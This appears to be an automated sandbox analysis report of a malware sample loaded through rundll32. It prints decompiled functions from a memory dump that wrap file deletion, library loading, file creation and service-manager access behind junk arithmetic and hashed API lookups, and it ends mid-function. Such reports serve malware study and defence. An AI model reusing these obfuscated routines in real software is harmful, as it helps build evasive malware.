0x029d4d66
0x029d4d6d
0x029d4d74
0x029d4d7b
0x029d4d82
0x029d4d89
0x029d4d8d
0x029d4d91
0x029d4daf
0x029d4dbe
0x029d4dc4

APIs

RtlAllocateHeap.NTDLL(?,B9B7D5DE,?,?,?,?,?,?,?,?,?,?,?), ref: 029D4DBE

Strings

Oe, xrefs: 029D4D37

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: Oe
API String ID: 1279760036-808228324
Opcode ID: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction ID: a1f7b1284dbbc937bb3ec95d121792d238647f79d7cc0f20964c214e7ea423ce
Opcode Fuzzy Hash: 700dfd9d891cb1a26e26177c6dd2e79faa0fdc2c74feaf985b1bdd3c6d92e912
Instruction Fuzzy Hash: AB211372C01219FBCF14DFA4C94A8DEBFB1FB00364F108588E92466250D7B68B24EF90

Uniqueness

Uniqueness Score: -1.00%

Function 029C55C0, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E029C55C0(void* __ecx, WCHAR* __edx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t44;
				int _t56;
				signed int _t58;
				signed int _t59;
				WCHAR* _t65;

				_push(_a4);
				_t65 = __edx;
				_push(__edx);
				E029C8002(_t44);
				_v12 = 0xc09d41;
				_t58 = 0x5c;
				_v12 = _v12 / _t58;
				_v12 = _v12 + 0xffffef63;
				_v12 = _v12 ^ 0xe9e279a7;
				_v12 = _v12 ^ 0xe9e62653;
				_v20 = 0xa2cc51;
				_t59 = 0x34;
				_v20 = _v20 / _t59;
				_v20 = _v20 ^ 0x000b7ed2;
				_v8 = 0xd564b1;
				_v8 = _v8 >> 0xc;
				_v8 = _v8 + 0x176e;
				_v8 = _v8 | 0xf1e3b14c;
				_v8 = _v8 ^ 0xf1e4530b;
				_v16 = 0xd8623f;
				_v16 = _v16 * 0x37;
				_v16 = _v16 << 4;
				_v16 = _v16 ^ 0xe7d235eb;
				E029DE399(_t59, _v20 % _t59, _t59, 0xa2449830, 0x246, 0x6ae2bc6b);
				_t56 = DeleteFileW(_t65); // executed
				return _t56;
			}

0x029c55c7
0x029c55ca
0x029c55cc
0x029c55ce
0x029c55d3
0x029c55e1
0x029c55e6
0x029c55eb
0x029c55f2
0x029c55f9
0x029c5600
0x029c560a
0x029c5610
0x029c5613
0x029c561a
0x029c5621
0x029c5625
0x029c562c
0x029c5633
0x029c563a
0x029c5655
0x029c5658
0x029c565c
0x029c566f
0x029c5678
0x029c567e

APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 029C5678

Strings

S&, xrefs: 029C55F9

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: S&
API String ID: 4033686569-4232605156
Opcode ID: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction ID: 8a486daaa5eada0a2d4e84c95aca2239054119842e1b540b63aeaff1bb9cf8c1
Opcode Fuzzy Hash: a789b351c44137b8d7dd019b37ab00909fcc494573d4763fe5f2d1bb6bf47882
Instruction Fuzzy Hash: DE113270D05318BBDB18DFA8C94A8DEBBB5FF90310F108099E469AB290D7B59B11DF81

Uniqueness

Uniqueness Score: -1.00%

Function 029CC460, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E029CC460(void* __ecx, void* __edx, void* _a8, void* _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t43;
				char _t52;

				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(_a8);
				_push(0);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t43);
				_v12 = 0x266f4b;
				_v12 = _v12 | 0x563deae8;
				_v12 = _v12 * 0x4d;
				_v12 = _v12 ^ 0xf13e188d;
				_v8 = 0xe0e0e3;
				_v8 = _v8 ^ 0x73e6d5d6;
				_v8 = _v8 + 0xffff5e48;
				_v8 = _v8 ^ 0x26d91c35;
				_v8 = _v8 ^ 0x55dbfde5;
				_v20 = 0x5f084f;
				_v20 = _v20 + 0x941e;
				_v20 = _v20 ^ 0xe99bb6cc;
				_v20 = _v20 ^ 0xe9c87fab;
				_v16 = 0x7e37cb;
				_v16 = _v16 + 0xffff5de5;
				_v16 = _v16 << 8;
				_v16 = _v16 ^ 0x7d95e9a6;
				E029DE399(__ecx, __edx, __ecx, 0xa2449830, 0x240, 0x444b06c3);
				_t52 = RtlFreeHeap(_a8, 0, _a12); // executed
				return _t52;
			}

0x029cc466
0x029cc469
0x029cc46c
0x029cc46f
0x029cc472
0x029cc474
0x029cc475
0x029cc476
0x029cc47b
0x029cc485
0x029cc49f
0x029cc4a8
0x029cc4af
0x029cc4b6
0x029cc4bd
0x029cc4c4
0x029cc4cb
0x029cc4d2
0x029cc4d9
0x029cc4e0
0x029cc4e7
0x029cc4ee
0x029cc4f5
0x029cc4fc
0x029cc500
0x029cc514
0x029cc524
0x029cc529

APIs

RtlFreeHeap.NTDLL(7D95E9A6,00000000,E9C87FAB,?,?,?,?,?,?,?,?,?,?,?), ref: 029CC524

Strings

=V, xrefs: 029CC485

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: =V
API String ID: 3298025750-2236090552
Opcode ID: c09ead993ed459e202f4acc41d47a4f65d5bc2936b677d2f25bc197f5a4c51db
Instruction ID: 00523d2b6e9ecc70c04ce0e5aa1482d9f466cdc8b2da6e42c85b0b10d1b145e6
Opcode Fuzzy Hash: c09ead993ed459e202f4acc41d47a4f65d5bc2936b677d2f25bc197f5a4c51db
Instruction Fuzzy Hash: 5D2114B6C0030DEBCF54DFA4CD46A9EBFB0BB44304F608198E925A6261D3B59B519F85

Uniqueness

Uniqueness Score: -1.00%

Function 029C7C11, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 44
libraryCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E029C7C11(void* __ecx, WCHAR* __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t37;
				struct HINSTANCE__* _t44;
				WCHAR* _t47;

				_push(_a8);
				_t47 = __edx;
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t37);
				_v16 = 0xc57804;
				_v16 = _v16 + 0x7e2a;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x062dce69;
				_v20 = 0xc0d373;
				_v20 = _v20 ^ 0xd8d0ddee;
				_v20 = _v20 ^ 0xd81819b4;
				_v12 = 0x9f362e;
				_v12 = _v12 + 0xfffffd91;
				_v12 = _v12 << 0xc;
				_v12 = _v12 >> 0xc;
				_v12 = _v12 ^ 0x000a9d69;
				_v8 = 0xe543a4;
				_v8 = _v8 ^ 0xe0ed073d;
				_v8 = _v8 | 0x93b71955;
				_v8 = _v8 << 7;
				_v8 = _v8 ^ 0xdfad752a;
				E029DE399(__ecx, __edx, __ecx, 0xa2449830, 0x129, 0xf0e92e19);
				_t44 = LoadLibraryW(_t47); // executed
				return _t44;
			}

0x029c7c18
0x029c7c1b
0x029c7c1d
0x029c7c20
0x029c7c21
0x029c7c22
0x029c7c27
0x029c7c31
0x029c7c38
0x029c7c3c
0x029c7c43
0x029c7c4a
0x029c7c51
0x029c7c58
0x029c7c5f
0x029c7c66
0x029c7c6a
0x029c7c6e
0x029c7c75
0x029c7c7c
0x029c7c83
0x029c7c8a
0x029c7c8e
0x029c7cb1
0x029c7cba
0x029c7cc0

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,?,?,?,00000000), ref: 029C7CBA

Strings

*~, xrefs: 029C7C31

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: *~
API String ID: 1029625771-2567930604
Opcode ID: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction ID: c8e9737905c16b96231d1d862711f002b9528077e45d4af1648ccc0254a7abbe
Opcode Fuzzy Hash: b9f3b87bebec21f6148c33e759f0ff5f4f2fe9304ffae80c2c21f0ab5745ad8c
Instruction Fuzzy Hash: F01122B5D01218BBDF14EFE5C80A4DEBBB4FB00304F108198E826A2250E3B94B18DF80

Uniqueness

Uniqueness Score: -1.00%

Function 6EA0C7D4, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6EA0C821

Part of subcall function 6EA0CEAD: InitializeSListHead.KERNEL32(6EA4E4A0,6EA0C82B,6EA4AF60,00000010,6EA0C7BC,?,?,?,6EA0C9E4,?,00000001,?,?,00000001,?,6EA4AFA8), ref: 6EA0CEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EA0C88B

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 449d074feeb84c3c2f4069438f2384f283b260879557b87933a24a1ea4e371ff
Instruction ID: 0ee03ef506b0649abfffa0a8312b52f3a1af5a6a2f29d648895f562ec4a77a84
Opcode Fuzzy Hash: 449d074feeb84c3c2f4069438f2384f283b260879557b87933a24a1ea4e371ff
Instruction Fuzzy Hash: 7021CF32648705AEEB40ABF4A6447DC37A59B0672CF144C19D4412F2C1DB2204C9CABE

Uniqueness

Uniqueness Score: -1.00%

Function 029D0207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E029D0207(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _v32;
				intOrPtr _v36;
				void* _t54;
				int _t68;
				signed int _t70;
				signed int _t71;
				signed int _t72;
				WCHAR* _t81;

				_push(_a16);
				_t81 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				E029C8002(_t54);
				_v36 = 0xa7e4f2;
				asm("stosd");
				_t70 = 0x7b;
				asm("stosd");
				asm("stosd");
				_v12 = 0x53fdc4;
				_t71 = 0x5a;
				_v12 = _v12 / _t70;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xe1fe8b09;
				_v12 = _v12 ^ 0xe1ac8480;
				_v20 = 0x744728;
				_v20 = _v20 << 0xf;
				_v20 = _v20 ^ 0x239bcee7;
				_v16 = 0xd5199;
				_v16 = _v16 + 0xffff5a50;
				_v16 = _v16 / _t71;
				_v16 = _v16 ^ 0x000f59f5;
				_v8 = 0xa57c1a;
				_v8 = _v8 | 0x119c25df;
				_v8 = _v8 + 0xffffdcc6;
				_t72 = 0x4f;
				_v8 = _v8 / _t72;
				_v8 = _v8 ^ 0x003b1570;
				E029DE399(_t72, _v8 % _t72, _t72, 0xa2449830, 0x167, 0xa9a77114);
				_t68 = lstrcmpiW(_a8, _t81); // executed
				return _t68;
			}

0x029d020f
0x029d0212
0x029d0214
0x029d0217
0x029d021a
0x029d021d
0x029d021f
0x029d0224
0x029d0232
0x029d0235
0x029d0238
0x029d0239
0x029d023a
0x029d0246
0x029d0247
0x029d024c
0x029d0250
0x029d0257
0x029d025e
0x029d0265
0x029d0269
0x029d0270
0x029d0277
0x029d0285
0x029d028a
0x029d0291
0x029d0298
0x029d029f
0x029d02a9
0x029d02af
0x029d02b2
0x029d02d5
0x029d02e1
0x029d02e8

APIs

lstrcmpiW.KERNEL32(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 029D02E1

Strings

(Gt, xrefs: 029D025E

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
Opcode ID: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction ID: ca3d1f955898e98a6987b9e5dcd4d6b2a459651ed423679f9c2583cf18c81907
Opcode Fuzzy Hash: bb735ff999d9414c3a9b564c67b10e962bbdffe1a82627d97bbaa383f4a39bdb
Instruction Fuzzy Hash: 702178B5E00208FBEF04DFA4CC0A9DEBBB2FB84314F10C199E515AA250D7B65A10DF90

Uniqueness

Uniqueness Score: -1.00%

Function 029D2D06, Relevance: 1.6, APIs: 1, Instructions: 74
fileCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E029D2D06(long __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8, long _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a36, long _a40, long _a44) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t53;
				void* _t66;
				signed int _t68;
				signed int _t69;
				long _t76;

				_push(_a44);
				_t76 = __ecx;
				_push(_a40);
				_push(_a36);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(0);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E029C8002(_t53);
				_v32 = 0xa61226;
				_v28 = 0;
				_v24 = 0;
				_v12 = 0x8b5566;
				_t68 = 0x4f;
				_v12 = _v12 * 0x16;
				_v12 = _v12 * 0x58;
				_v12 = _v12 ^ 0x1db24b6c;
				_v20 = 0xae8f68;
				_t69 = 0x28;
				_v20 = _v20 / _t68;
				_v20 = _v20 ^ 0x00028d2f;
				_v16 = 0xdc96c3;
				_v16 = _v16 >> 3;
				_v16 = _v16 ^ 0x001086c5;
				_v8 = 0xcc437a;
				_v8 = _v8 << 5;
				_v8 = _v8 / _t69;
				_v8 = _v8 ^ 0x00a46bd6;
				E029DE399(_t69, _v8 % _t69, _t69, 0xa2449830, 0x1b2, 0xa236d704);
				_t66 = CreateFileW(_a8, _t76, _a44, 0, _a16, _a40, 0); // executed
				return _t66;
			}

0x029d2d0e
0x029d2d13
0x029d2d15
0x029d2d18
0x029d2d1b
0x029d2d1c
0x029d2d1f
0x029d2d22
0x029d2d25
0x029d2d28
0x029d2d29
0x029d2d2c
0x029d2d30
0x029d2d31
0x029d2d36
0x029d2d3f
0x029d2d42
0x029d2d45
0x029d2d52
0x029d2d55
0x029d2d5c
0x029d2d5f
0x029d2d66
0x029d2d72
0x029d2d73
0x029d2d78
0x029d2d82
0x029d2d89
0x029d2d8d
0x029d2d94
0x029d2d9b
0x029d2da9
0x029d2dac
0x029d2dca
0x029d2de1
0x029d2de8

APIs

CreateFileW.KERNEL32(001086C5,?,?,00000000,0007BFC3,?,00000000), ref: 029D2DE1

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction ID: 94ea93c207dde3786d35bab197d0d5487f1bad6945dfce25253714eab7cca38f
Opcode Fuzzy Hash: 37d28f26a62827ccb09b71f088429a632209e16a918a5702217c5103877af2d7
Instruction Fuzzy Hash: FA21007290020CBBCF05DFA5CD498DEBFB6FB88304F108049F914AA260D7B69A14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 029E3231, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E029E3231(intOrPtr _a4, int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* _t51;
				void* _t65;
				signed int _t66;
				signed int _t67;
				signed int _t68;

				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(0);
				E029C8002(_t51);
				_v20 = 0x8ddd0f;
				_v20 = _v20 ^ 0xe03e86bb;
				_v20 = _v20 + 0xffff1f0e;
				_v20 = _v20 ^ 0xe0b01721;
				_v16 = 0x43c95a;
				_t66 = 3;
				_v16 = _v16 * 0x6c;
				_t67 = 0x1d;
				_v16 = _v16 / _t66;
				_v16 = _v16 ^ 0x0989b3a6;
				_v12 = 0xb34ce2;
				_v12 = _v12 ^ 0x4f195b2f;
				_v12 = _v12 / _t67;
				_v12 = _v12 ^ 0x02b53c02;
				_v8 = 0x60e613;
				_v8 = _v8 + 0xffff76e9;
				_v8 = _v8 + 0xffff1349;
				_t68 = 0x34;
				_v8 = _v8 / _t68;
				_v8 = _v8 ^ 0x000b7b8d;
				E029DE399(_t68, _v8 % _t68, _t68, 0x1f1ae65e, 0x189, 0x1de1df5f);
				_t65 = OpenSCManagerW(0, 0, _a8); // executed
				return _t65;
			}

0x029e3238
0x029e323d
0x029e3240
0x029e3243
0x029e3244
0x029e3245
0x029e324a
0x029e3253
0x029e325a
0x029e3261
0x029e3268
0x029e3275
0x029e3278
0x029e3280
0x029e3281
0x029e3286
0x029e328d
0x029e3294
0x029e32a2
0x029e32a7
0x029e32ae
0x029e32b5
0x029e32bc
0x029e32c6
0x029e32cc
0x029e32cf
0x029e32f2
0x029e32ff
0x029e3305

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,0989B3A6,?,?,?,?,?,?,?,9C77B295,?), ref: 029E32FF

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction ID: 3cc87bb51201bc6bf0117e1945cbc85ae9ea72583f1456ff1679257c2c06e971
Opcode Fuzzy Hash: a68b103b72432212da7b1a25f69248b8733d1da947c96e5792bd945326fca532
Instruction Fuzzy Hash: 07210476E01218FBDB04DFA9C94A9DEBFB6FF44310F20C18AE515AA250D7B55B119F80

Uniqueness

Uniqueness Score: -1.00%

Function 029D9038, Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E029D9038(void* __ecx, void* __edx, void* _a4, intOrPtr _a8) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _t53;
				int _t66;
				signed int _t68;
				signed int _t69;
				signed int _t70;

				_push(_a8);
				_push(_a4);
				E029C8002(_t53);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v32 = 0xed3f98;
				_v16 = 0x2a9dca;
				_t68 = 0x79;
				_v16 = _v16 / _t68;
				_v16 = _v16 << 2;
				_v16 = _v16 ^ 0x000f760a;
				_v20 = 0x68a68c;
				_t69 = 0x7f;
				_v20 = _v20 / _t69;
				_v20 = _v20 ^ 0x0005afe9;
				_v8 = 0x320c70;
				_t70 = 0x39;
				_v8 = _v8 / _t70;
				_v8 = _v8 | 0xebb37c35;
				_v8 = _v8 ^ 0x7178f36a;
				_v8 = _v8 ^ 0x9ac8a43f;
				_v12 = 0x21358c;
				_v12 = _v12 << 0xe;
				_v12 = _v12 >> 0xd;
				_v12 = _v12 ^ 0x00063172;
				E029DE399(_t70, _v8 % _t70, _t70, 0xa2449830, 0x35, 0x3485d61b);
				_t66 = FindCloseChangeNotification(_a4); // executed
				return _t66;
			}

0x029d903e
0x029d9041
0x029d9046
0x029d904b
0x029d9051
0x029d9055
0x029d905c
0x029d9068
0x029d906d
0x029d9072
0x029d9076
0x029d907d
0x029d9087
0x029d908c
0x029d9091
0x029d9098
0x029d90a2
0x029d90a8
0x029d90ab
0x029d90b2
0x029d90b9
0x029d90c0
0x029d90c7
0x029d90cb
0x029d90cf
0x029d90ef
0x029d90fa
0x029d90ff

APIs

FindCloseChangeNotification.KERNEL32(00063172,?,?,?,?,?,?,?,029E09EF), ref: 029D90FA

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction ID: d4fe09ae66771e23d3d1b1de7086c7f432606db0fbbf9fec551fd7c14b1a3083
Opcode Fuzzy Hash: 9411e8551fc63ef0553251f4ae46958ba514df95cf067e6227528f3c3549ca8c
Instruction Fuzzy Hash: 942124B1E0020CEBDF04DFE5C84A9EEBBB2EB51304F10C199E514AA250D7B95B559F80

Uniqueness

Uniqueness Score: -1.00%

Function 029CF3F7, Relevance: 1.5, APIs: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E029CF3F7() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t47;

				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xb0bfd;
				_v32 = 0x231de0;
				_v20 = 0x822c7a;
				_t47 = 0x31;
				_push(_t47);
				_v20 = _v20 * 0x25;
				_v20 = _v20 ^ 0x12d3a120;
				_v12 = 0x122796;
				_v12 = _v12 | 0x5fffe7f7;
				_v12 = _v12 ^ 0x5ff36a5b;
				_v8 = 0xc53dc4;
				_v8 = _v8 + 0xffff669e;
				_v8 = _v8 + 0xba03;
				_v8 = _v8 + 0x1f9e;
				_v8 = _v8 ^ 0x00c2122b;
				_v16 = 0x5857ad;
				_v16 = _v16 / _t47;
				_v16 = _v16 ^ 0x000b8ebe;
				E029DE399(_t47, _v16 % _t47, _t47, 0xa2449830, 0x41, 0x9da8748a);
				ExitProcess(0);
			}

0x029cf3fd
0x029cf403
0x029cf407
0x029cf40e
0x029cf415
0x029cf422
0x029cf423
0x029cf429
0x029cf42c
0x029cf433
0x029cf43a
0x029cf441
0x029cf448
0x029cf44f
0x029cf456
0x029cf45d
0x029cf464
0x029cf46b
0x029cf479
0x029cf47c
0x029cf495
0x029cf49f

APIs

ExitProcess.KERNEL32(00000000), ref: 029CF49F

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction ID: ba068e0c52ace4eee7db1b706f0f285a9978c5c9d9bb395c5a0eb6f10b3d2739
Opcode Fuzzy Hash: 03812332bf7814123334a19349d3f4d4ec07a23d3eba325336f5a23eb22f412d
Instruction Fuzzy Hash: F71106B1E1021DEBDF04DFE4C94A6EEFBB4FB14315F108188E521AA240E7B45B548F80

Uniqueness

Uniqueness Score: -1.00%

Function 6EA12C26, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,6EA1283F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6EA0CB0C,?,?,6EA0C074), ref: 6EA12C67

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0ab0265dc98e1b95eaec6dcb877e9feafdbb7b90df91cf27ba919631a357ff7c
Instruction ID: e1422d35b064f4ff39ac79a1e62222a95b280e09b1dcc1cbc2b4e7bf2b250848
Opcode Fuzzy Hash: 0ab0265dc98e1b95eaec6dcb877e9feafdbb7b90df91cf27ba919631a357ff7c
Instruction Fuzzy Hash: 25F0B43120CA26AAEB515FF68905BDB7F599F437A0B14C512F914AB184CB30D881A6BD

Uniqueness

Uniqueness Score: -1.00%

Function 6EA122E9, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,6EA0CB0C,?,?,6EA0C074,00000400,FFFDC801,?,?,00000001), ref: 6EA1231B

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 769d6a834dadf61f89fb127a2e9b17a382eb306c71d368184f25003cc2db8f89
Instruction ID: 8bc9ac3f010d3cc0e238c104aa6691317eb0b56249b01770d6915e9262859879
Opcode Fuzzy Hash: 769d6a834dadf61f89fb127a2e9b17a382eb306c71d368184f25003cc2db8f89
Instruction Fuzzy Hash: 7AE0ED3120D2229AEA562EE68D00BDB768DEF033A1F150121EC60AB2C0DB20CCC1A1BD

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E9FD380, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6E9FD380(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6EA039D0;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6ea4e128; // 0x2f30000
				if(_t142 != 0) {
					L3:
